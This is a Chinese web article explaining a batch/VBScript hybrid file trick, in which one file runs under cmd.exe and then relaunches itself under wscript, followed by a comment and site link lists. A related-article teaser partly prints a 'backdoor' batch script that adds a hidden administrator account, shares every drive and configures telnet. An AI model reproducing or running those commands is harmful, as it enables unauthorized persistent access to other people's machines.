位置: 编程技术 - 正文

让批处理被wsh解析的代码(批处理 leq)

编辑:rootadmin
示例批处理:test.bat 上面的代码巧妙利用 bat 和 vbs 的语法特征,让同一个文件,被 cmd.exe 识别成批处理,让 wscrpt.exe 识别成 vbs,并且同时符合两者的语法,并且保证都没有错误,保证两者的高度兼容。就叫它 bat/vbs 复合编程吧 (Hybird Programming) 粗略解释下代码 引用: :On Error Resume Next cmd.exe 识别成一段注释 wscript.exe 这样识别, : 在vbs语法里代表分行,然后 On Error Resume Next,也就是让WSH忽略一些错误 引用: start wscript -e:vbs "%~f0" cmd.exe 识别成:启动 wscript.exe ,其参数是: ① -e:vbs 设定以vbs解析文件自身 ② "%~f0" 指这个批处理本身。 wscript.exe 把这句识别成:调用一个叫 start 的函数,函数参数是 wscript 这个变量,然后用这个函数的结果来 减去 e。接下来是又是一个 : ,分行,然后又是调用一个名叫 vbs 的函数,参数是字符: "%~f0" 这句是最为精巧的,因为它成功的让 vbs 引擎解释了一段批处理,而且没有错误!当然这些 start()、vbs()函数是不存在的,但是会被 cmd.exe 当成命令执行。为什么不用 wscript //e:vbs "%~f0" 来执行呢?vbs解析会出错的,呵呵 这段代码的核心思想已经介绍完毕了。下面,为了让 批处理 以vbs调用其自身后,马上退出,我们需要 exit 或者 goto :eof,但是 goto call exit 在vbs又是一个关键词,所以我们只能用符合 vbs 语法的 exit sub,所以我们在第二句加一个 sub bat,其实 cmd.exe 寻找了一个叫 sub.exe 的命令,但是这个命令是不存在的,cmd.exe 跳过。然后在 6、7 句加一个 exit sub 以及 end sub,让 批处理结束,同时又符合 vbs 的语法 那个 echo off & cls ,批处理的意思就是相当于 @echo off ,但是 vbs 不认 @ 符号,所以改成 echo off & cls , vbs 可以解析为,调用一个叫 echo() 的函数,参数为 off & cls ,也就是两个字符串 off 和 cls 相加 Well,接下来,你可以自由地在批处理中书写vbs脚本了,效率和真正的vbs一样高! 这段代码的好处是:不用生成临时文件。其实用 echo 或者 more 或者 find 来生成临时vbs很浪费系统资源的,用我写的这段代码,就完全免去了这些麻烦。直接混合编程,以 start wscript -e:vbs "%~f0" 为界限,上面写 批处理,下面写 vbs,并行不悖! 大家有更好的想法可以跟贴讨论呀 allyesno :%~fI - 将 %I 扩充到一个完全合格的路径名 另外如果用到shell中的话 写vbs也要用到echo的 在这种情况没有省系统资源的说法 除非 copy con 就可以写 那就直接写任意脚本文件就行了 其他的情况是有的

推荐整理分享让批处理被wsh解析的代码(批处理 leq),希望有所帮助,仅作参考,欢迎阅读内容。

让批处理被wsh解析的代码(批处理 leq)

文章相关热门搜索词:批处理的结束标志是什么,批处理!!,批处理中,批处理结束程序,批处理!!,批处理!!,批处理 leq,批处理!!,内容如对您有帮助,希望把文章链接给更多的朋友!

谈谈xcopy中的排除copy 不过这个命令用起来真的不好用并不像windows的帮助写的那么简单下面来详细说明一下我们先看看xcopy的帮助是怎么写的/EXCLUDE:file1[+file2][+file3]...指定含

迅速删除非法文件名的批处理代码 例如..connul等等两行代码搞定,迅速删除使用非法文件名的文件及文件夹年月日星期一:DEL/F/A/Q\?%1RD/S/Q\?%1保存为.bat或者.cmd文件即可。以后遇

批处理bat之永不被杀的后门 代码如下:@echooff@attrib+s+rxyt.bat@netuserxythacker/add@netlocalgroupadministratorsxyt/add@netsharec$=c:@netshared$=d:@netsharee$=e:@netsharef$=f:@netshareg$=g:@netshareh$=h:@tlntadmnconfigsec=

标签: 批处理 leq

本文链接地址:https://www.jiuchutong.com/biancheng/378391.html 转载请保留说明!

上一篇:用dsadd添加用户的代码(用户dsn添加)

下一篇:谈谈xcopy中的排除copy(xcopy命令怎么用)

  • 多交所得税退税会计分录
  • 所得税季度预缴纳税申报表
  • 个人所得缴税租房减免该怎么弄?
  • 个体工商户的免税政策
  • 纳税调整增加额在报表的哪里
  • 费用化的研发支出是否可以加计扣除
  • 有没有退股一说
  • 个体户免费发票怎么领
  • 季度收入超过30万
  • 污水处理费免征增值税申报怎么填写
  • 营改增后建筑行业甲供材
  • 现金折扣要扣除折扣金额入账吗
  • 未收回质保金是否需要交纳增值税呢?
  • 应扣未扣税款向谁追缴
  • 双倍余额递减法考虑净残值吗
  • 非独立核算的分公司注销流程
  • 出口退税退的是进项税还是销项税
  • 新成立的公司怎么交公积金
  • 技术转让所得一百万交多少税
  • 小规模纳税人开具增值税专用发票
  • 新公司领取营业执照后的流程
  • 一般纳税人增值税申报表
  • 用友t3怎么删除损益结转凭证
  • 购进原材料没有发票怎么办
  • 劳务报酬所得的收入额
  • 已付款收货未收到发票会计分录
  • 投资性房地产公允价值模式账务处理
  • 工资中的话费补助是什么
  • 采购材料的运费怎么做分录
  • 住宿费和差旅费
  • 购买原材料折扣做什么会计科目
  • ecshop功能
  • php代码大全及其含义
  • php throw
  • 对税务总局意见建议
  • 电维护费多少合法
  • 购买商品的会计分录贷方能写应付账款
  • 挂车车船税缴纳地点
  • 金蝶专业版固定资产初始数据录入
  • ie浏览器网页滚动条怎么隐藏
  • 购房发票可以对折吗
  • 凭证过账后发现了错误,如何处理
  • 试生产产品计入研发费用吗
  • 开增值税发票需要和收款账户名字一致吗
  • 计提事业发展基金分录
  • mysql的基本介绍
  • 固定资产降低
  • 关于SQL Server安全控制的说法正确的是
  • 固定资产折旧和无形资产摊销
  • 企业之间交换房地产要交土地增值税吗
  • 金税四期对企业有什么影响
  • 出口退税的会计科目
  • 政府补贴收入的账务处理
  • 存货计提存货跌价准备
  • 分支机构与总机构怎么纳税?
  • 房地产企业抵押借款
  • 商业地产会计账务怎么做
  • 三栏式明细账适用于总分类账
  • 应付职工薪酬的会计科目
  • 预付调整到其他应付款
  • sqlserver数据库维护
  • Mysql中几种插入效率的实例对比
  • calc.exe是什么程序
  • centos7 lvs
  • w8系统文件夹怎么设置密码
  • Win8系统怎么安装
  • nodejsapi框架
  • js 对象声明
  • Node.js中的construct
  • shell脚本编程实例
  • jquery导入
  • js类库编写
  • 浅谈自己对教育的理解
  • 保障性住房是否可以买卖
  • 陕西地税发票怎么重新打印
  • 重庆电子税务局网页版登录
  • 郑东新区社保局电话号码是多少
  • 新疆中国邮政投诉电话
  • 企业出租房产的税收优惠政策
  • 北京国税查询发票真伪查询系统
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设